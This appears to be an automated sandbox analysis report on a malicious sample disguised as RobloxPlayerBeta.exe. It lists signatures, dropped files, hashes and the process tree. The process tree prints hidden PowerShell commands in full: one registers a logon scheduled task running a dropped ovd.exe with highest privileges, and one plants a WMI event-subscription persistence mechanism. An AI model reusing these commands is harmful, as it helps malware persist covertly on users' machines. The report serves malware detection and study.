Analysis

  • geolocation tags

    asiadelhiinindia
  • user interaction
    yes
  • max time kernel
    30s
  • max time network
    32s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    24/08/2026, 00:33

General

  • Target
    RobloxPlayerBeta.exe
  • Size 26.4MB
  • Sample260824-awcbrsbr21
  • SHA256 dcfbf63780823ff659361c95c2eb8fd451ca0c8e328b82a4894d8f985df47c54
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\RobloxPlayerBeta.exe
    "C:\Users\Admin\AppData\Local\Temp\RobloxPlayerBeta.exe"
    1⤵
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:1912
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_4fd04fd0' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1196
  • C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd.exe"
    1⤵
    • Creates a file in the Startup directory
    • Executes dropped EXE
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:3192
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_4fd04fd0' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:412
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_f4fd04fd0'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_c4fd04fd0'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_f4fd04fd0'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_c4fd04fd0'\"; $null = $b.Put()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:1760

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 bc4849c014cb53e50d04eb72319b2e4f9a09cb3acc7663110dac72caf47874c4
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 7753a68385692aada20d51d92b83172e2fd3cfe438cdee23cea06e2e3ff33030
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_m2vqwmuc.olm.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m2vqwmuc.olm.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        agent-2709321232.tmp

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-2709321232.tmp
        • Size 26.4MB
        • SHA256 dcfbf63780823ff659361c95c2eb8fd451ca0c8e328b82a4894d8f985df47c54
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1196-13-0x0000017ABF050000-0x0000017ABF072000-memory.dmp

        memory/1196-27-0x0000017ABFE90000-0x0000017ABFEAC000-memory.dmp

        memory/1196-28-0x0000017ABFEB0000-0x0000017ABFF65000-memory.dmp

        memory/1196-29-0x0000017ABFE80000-0x0000017ABFE8A000-memory.dmp

        memory/1196-37-0x0000017AC00E0000-0x0000017AC00FC000-memory.dmp

        memory/1196-7-0x0000017ABCFA0000-0x0000017ABCFB0000-memory.dmp

        memory/1196-6-0x0000017ABCFA0000-0x0000017ABCFB0000-memory.dmp

        memory/1912-62-0x00007FF659BF0000-0x00007FF65D6AF000-memory.dmp

        memory/1912-63-0x00007FF659BF0000-0x00007FF65D6AF000-memory.dmp

        memory/3192-61-0x00007FF6A2030000-0x00007FF6A5AEF000-memory.dmp